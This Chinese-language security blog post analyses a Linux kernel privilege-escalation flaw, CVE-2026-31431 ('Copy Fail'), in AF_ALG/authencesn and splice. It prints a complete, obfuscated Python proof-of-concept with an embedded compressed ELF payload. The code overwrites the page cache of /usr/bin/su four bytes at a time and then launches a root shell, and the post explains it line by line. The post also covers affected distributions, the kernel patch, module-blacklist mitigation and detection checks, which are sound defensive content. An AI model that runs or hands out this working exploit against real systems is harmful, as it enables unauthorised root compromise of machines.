当前位置:首页>Linux>【已复现,Linux-LP-EXP】 CVE-2026-31431 Copy Fail 内核提权 深度解析

【已复现,Linux-LP-EXP】 CVE-2026-31431 Copy Fail 内核提权 深度解析

  • 2026-10-11 08:18:06
【已复现,Linux-LP-EXP】 CVE-2026-31431 Copy Fail 内核提权 深度解析

CVE-2026-31431 · LINUX KERNEL · LOCAL PRIVILEGE ESCALATION

Copy Fail

732 字节的 Python 脚本,让 2017 年以来所有主流 Linux 发行版沦陷

字段
内容
漏洞编号
CVE-2026-31431
别名
Copy Fail
漏洞类型
本地提权(LPE)
受影响内核
2017 年 — 2026-04-29(含 algif_aead in-place 优化)
利用条件
本地登录账户,无需任何特殊权限
PoC 大小
732 字节 Python 脚本
修复 commit
a664bf3d603d(撤销 in-place 优化)
发现者
Xint Code(2026-04 公开)
图:splice + AF_ALG in-place 路径触发页缓存写入

一、漏洞背景:AF_ALG 内核密码学接口

AF_ALG(Address Family ALGorithm)是 Linux 内核暴露给用户态的密码学接口。任何本地进程都可以通过标准套接字 API 调用内核内置的 AES、SHA、AEAD 等算法,无需三方库。接口本身合法且常见,但这也意味着一旦其实现存在漏洞,所有用户都可触达攻击路径。

使用模式分四步:创建套接字 → 绑定算法 → 配置参数 → accept() 得到操作句柄,然后 sendmsg/recvmsg 执行加解密。

algif_aead 是 AF_ALG 中负责 AEAD(带认证的加密)的子模块,2017 年被引入了一项"in-place 优化"——这项优化九年后成为本次漏洞的核心根因之一。

典型 AF_ALG 使用流程
# 1. 创建套接字
sock = socket(AF_ALG, SOCK_SEQPACKET, 0)
# 2. 绑定算法(算法类型 + 算法名)
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# 3. 配置密钥 / auth tag 大小
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key_bytes)
sock.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, None, 4)
# 4. 获得操作句柄
op, _ = sock.accept()

二、两个 Bug 如何叠加攻击

Bug 1:algif_aead in-place 优化(2017 年 commit 72548b093ee3)

正常的 AEAD 解密需要两块内存:一块放密文(输入),一块放明文(输出)。2017 年的优化想省掉一次内存拷贝,当输入和输出指向"同一区域"时,直接令 req→src = req→dst,in-place 操作。

触发条件:攻击者通过 splice() 将某个文件的页缓存(page cache)导入管道,再将管道内容 splice 进 AF_ALG 套接字。此时,文件的只读页缓存页面被放进了 algif_aead 的 RX 散列表(可写目标)。内核错误地把 只读文件页 当成了 可写输出缓冲区。

Bug 2:authencesn scratch-pad 越界写(更古老的 Bug)

authencesn(IPsec 扩展序列号认证加密模板)在 HMAC 计算时,需要临时在输出缓冲区末尾的后 4 字节写入 ESN 高 32 位作为 scratch space。正常情况下,HMAC 完成后会恢复这 4 字节。但 authencesn 的实现存在一个 bug:恢复操作被遗漏,导致这 4 字节永久性地覆盖了输出缓冲区之后的内存。

两个 Bug 组合:Bug 1 使文件页缓存成为可写目标,Bug 2 向该区域的指定偏移写入 4 个攻击者控制的字节。HMAC 验证必然失败,recvmsg() 返回错误——但写入已经发生,不可撤销。

⚡ 关键特性
▸ 只需文件读权限,即可对其页缓存执行 4 字节写入
▸ 写入内容完全由攻击者控制(通过 IV 中的 ESN 字段)
▸ 写入偏移精确可控(通过操作长度参数计算)
▸ 循环 4 字节写入即可覆盖任意可读文件的完整内容

三、攻击链:splice + AF_ALG = 任意文件写

完整攻击只需 5 步,无需任何特权,无需竞争条件:

① 打开目标文件:以只读方式(O_RDONLY)打开 SUID 二进制 /usr/bin/su,将其页缓存载入内核。

② 建立 AF_ALG 通道:创建 authencesn 算法套接字,配置零密钥和 4 字节 auth tag,sendmsg 发送含目标字节的消息。

③ splice 文件 → 管道:splice(file_fd, pipe_write, N),文件页缓存页面进入管道,管道持有对这些页面的引用(零拷贝)。

④ splice 管道 → AF_ALG:splice(pipe_read, afalg_socket, N),页面进入 algif_aead 的散列表。in-place 优化将这些只读页面误设为可写输出目标(Bug 1 触发)。

⑤ 触发解密:调用 recv() 触发 AEAD 操作,authencesn scratch-pad 将 4 字节写入文件页缓存指定偏移(Bug 2 触发)。HMAC 验证失败,recv 抛出异常——但写入已成功。

循环以上过程,每次写 4 字节,直到将整个恶意 payload 覆盖进 /usr/bin/su 的页缓存。最后执行 su,SUID 权限触发,获得 root shell。

四、PoC 逐行解析

以下是公开 PoC 的完整代码(732 字节):

cve_2026_31431.py
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
    a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));
    h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);
    u,_=a.accept();o=t+4;i=d('00');
    u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);
    r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
    try:u.recv(8+t)
    except:0
f=g.open("/usr/bin/su",0);i=0;
e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))  # payload
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

第 1 行:shebang

#!/usr/bin/env python3 — 标准 Python 3 解释器声明,使脚本可直接执行。

第 2 行:导入与混淆

import os as g, zlib, socket as s

▸ os 别名为 g:提供 open、pipe、splice、system 系统调用封装;别名为混淆目的。

▸ zlib:用于解压内嵌的 payload(替换二进制)。

▸ socket 别名为 s:创建 AF_ALG 套接字。

第 3 行:hex 转字节辅助函数

def d(x): return bytes.fromhex(x) — 将十六进制字符串转为字节序列,用于后续密钥和 IV 构造。

第 4 行:核心利用函数签名

def c(f, t, c) — 参数含义:f = 目标文件 fd,t = 目标写入偏移,c = 要写入的 4 字节 payload。函数名与第三参数同名是故意的混淆。   

第 5 行(展开):AF_ALG 套接字配置

① s.socket(38, 5, 0)

创建 AF_ALG 套接字。38 = AF_ALG,5 = SOCK_SEQPACKET,协议 0。这是触达内核 algif_aead 子模块的入口。

② bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

绑定算法类型 aead,算法名 authencesn(hmac(sha256),cbc(aes))。精心选择 authencesn,正是因为它含有 scratch-pad 越界写 bug。该算法模板通常用于 IPsec 的扩展序列号(ESN)模式。

③ setsockopt(SOL_ALG=279, ALG_SET_KEY=1, key)

配置密钥:d('0800010000000010'+'0'*64) 共 40 字节。前 8 字节是 rtattr 头,指定 AES 密钥长度为 16(0x10)字节;后 32 字节全零,分别作为 HMAC-SHA256 截断密钥和 AES-128 密钥。密钥全零意味着加密是确定性的,攻击者可预测输出。

④ setsockopt(SOL_ALG, ALG_SET_AUTHSIZE=5, None, 4)

将认证标签(auth tag)大小设为 4 字节。这是关键设置:最小化合法输出的尾部,使 authencesn 的 scratch-pad 写入精确落在目标偏移 t 处(输出末尾 +4 字节)。

⑤ u, _ = a.accept()

AF_ALG 的操作模型:bind() 得到变换描述符,accept() 才能得到可读写的操作套接字 u。

⑥ o = t + 4

操作长度 = 目标偏移 + 4。AEAD 操作处理 o 字节后,authencesn 将 scratch 4 字节写在偏移 o - 4 = t 处(即我们的目标位置)。每次循环迭代的 t 递增 4,逐步向文件后部写入。

⑦ sendmsg([b"A"*4+c], cmsg_list, 32768)

核心 sendmsg,包含三部分:

▸ 数据:b"A"*4 + c — 4 字节填充 + 4 字节目标 payload,共 8 字节。

▸ cmsg (SOL_ALG, 3, \x00\x00\x00\x00):ALG_SET_OP = DECRYPT(解密操作,值 0)。

▸ cmsg (SOL_ALG, 2, \x10\x00\x00\x00 + 16×\x00):ALG_SET_IV,IV 长度 16,值全零(AES-CBC 的初始向量)。IV 同时包含 ESN 高 32 位信息,决定 scratch-pad 写入的字节内容(即 payload c)。

▸ cmsg (SOL_ALG, 4, \x08\x00\x00\x00):关联数据(AAD)长度 = 8。指定 sendmsg 数据的前 8 字节全部作为 AAD,后续密文来自 splice 导入的文件页。

⑧ r, w = os.pipe()

创建 Unix 管道(r = 读端,w = 写端)。管道是连接文件页缓存与 AF_ALG 散列表的中间桥梁。

⑨ os.splice(f, w, o, offset_src=0)

关键一步。将文件 f 的前 o 字节(从偏移 0)zero-copy splice 进管道写端。此时管道缓冲区持有对文件页缓存页面的引用——这些页面尚未被复制,管道直接指向它们。

⑩ os.splice(r, u.fileno(), o)

漏洞触发点。将管道读端的内容(即文件页缓存页面的引用)splice 进 AF_ALG 操作套接字 u。algif_aead 的 in-place 优化将这些只读页缓存页面设置为 AEAD 操作的输出目标(Bug 1 就绪)。

第 6–7 行:触发写入

try: u.recv(8+t) / except: 0

recv() 触发内核执行 AEAD 解密操作。authencesn 在 HMAC 计算中将 4 字节写入输出缓冲区尾部之后(Bug 2 触发),精确落在页缓存偏移 t 处。

HMAC 校验必然失败(我们没有提供正确密文),recv 抛出异常 EBADMSG。except: 0 静默忽略——因为错误是预期的,写入才是目的。

写入发生在 HMAC 校验之前,无法被回滚。

第 8 行:打开目标文件 + 解压 payload

f = os.open("/usr/bin/su", 0) — 以只读方式(O_RDONLY=0)打开 SUID 二进制 su。只读权限即可,不需要写权限——这正是漏洞的关键:文件写保护完全失效。

e = zlib.decompress(d("78da...")) — 解压内嵌的 zlib 压缩 payload(78 da 是 zlib 魔数)。这段数据是一个小型 ELF 二进制——运行后会打开 root shell——用于替换 su 的页缓存内容。

第 9 行:循环写入

while i < len(e): c(f, i, e[i:i+4]); i += 4

以 4 字节为步长,从偏移 0 开始,将整个 payload e 逐步写入 /usr/bin/su 的页缓存。每次调用 c() 完成一次"AEAD 解密触发 scratch-pad 写",共写入 len(e)/4 次。

写入后,su 的磁盘文件未变,但内核内存中的页缓存已被替换。下次执行 su 时,内核直接从页缓存加载,读到的是我们的恶意代码。

第 10 行:执行获权

os.system("su") — 执行 su。

su 是 SUID root 二进制(-rwsr-xr-x),执行时操作系统自动将有效 UID 提升为 root。此时运行的是我们替换进页缓存的恶意 payload,在 root 权限下打开 shell,提权完成。

五、受影响范围

该漏洞影响 2017 年至 2026 年 4 月底期间构建的几乎所有 Linux 内核版本——凡是包含 algif_aead in-place 优化(commit 72548b093ee3)的内核均受影响。

发行版
受影响版本 / 备注
Ubuntu
20.04 LTS / 22.04 LTS / 24.04 LTS 全受影响
Debian
Bullseye (11) / Bookworm (12) 受影响
RHEL / CentOS Stream
RHEL 8 / 9 受影响
Amazon Linux
Amazon Linux 2 / 2023 均受影响
SUSE / openSUSE
SUSE Linux Enterprise 15+
Android / 嵌入式
使用 Linux ≥ 4.9 的 Android 内核理论受影响(需本地访问)

六、修复与临时缓解

官方补丁

Linux 内核 mainline commit a664bf3d603d:撤销 2017 年的 in-place 优化,algif_aead 恢复 out-of-place(OOP) 处理模式——输入和输出散列表严格分离,page-cache 页面无法进入可写目标。此修复同时消解了 authencesn scratch-pad 的利用路径。各主流发行版均于 2026-04-29 前后发布了内核安全更新,请立即升级内核。

临时缓解(无法立即重启时)

禁用 algif_aead 内核模块。该模块不被 dm-crypt / LUKS / IPsec / TLS / SSH / OpenSSL 等直接依赖,卸载不影响绝大多数系统正常运行:

临时缓解 — 禁用 algif_aead
# 立即卸载(无需重启)
sudo modprobe -r algif_aead
# 持久化(重启后生效)
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/no-algif-aead.conf

验证卸载成功:lsmod | grep algif_aead 应无输出。

检测是否已被利用

▸ sha256sum /usr/bin/su — 与官方软件包校验值对比,不一致表明 su 已被修改。

▸ 检查 /proc/*/fd 中是否有进程以只读方式打开 SUID 文件并同时持有 AF_ALG 套接字(正常程序不会这样做)。

总结

Copy Fail 的教训发人深省:一个 2017 年以性能优化为目的引入的代码路径,与一个更古老的 scratch-pad 管理疏漏相遇,九年后变成一条无需任何权限、通杀所有主流 Linux 的提权路径。

更深层的问题是:内核中的安全边界被隐式打破了。splice() 的零拷贝语义本意是性能,AF_ALG in-place 优化的本意也是性能——但两者叠加,让一个"只读文件描述符"悄悄变成了"可写内存"。这是典型的"各自看起来安全,组合起来危险"的内核漏洞模式。

升级内核是唯一根本性修复。如无法立即升级,禁用 algif_aead 模块可在不影响业务的情况下消除攻击面。

⚠️ 本文技术内容仅供安全研究与防御参考,请勿用于非授权目的。CVE 漏洞技术细节来源于公开安全研究报告。

最新文章

随机文章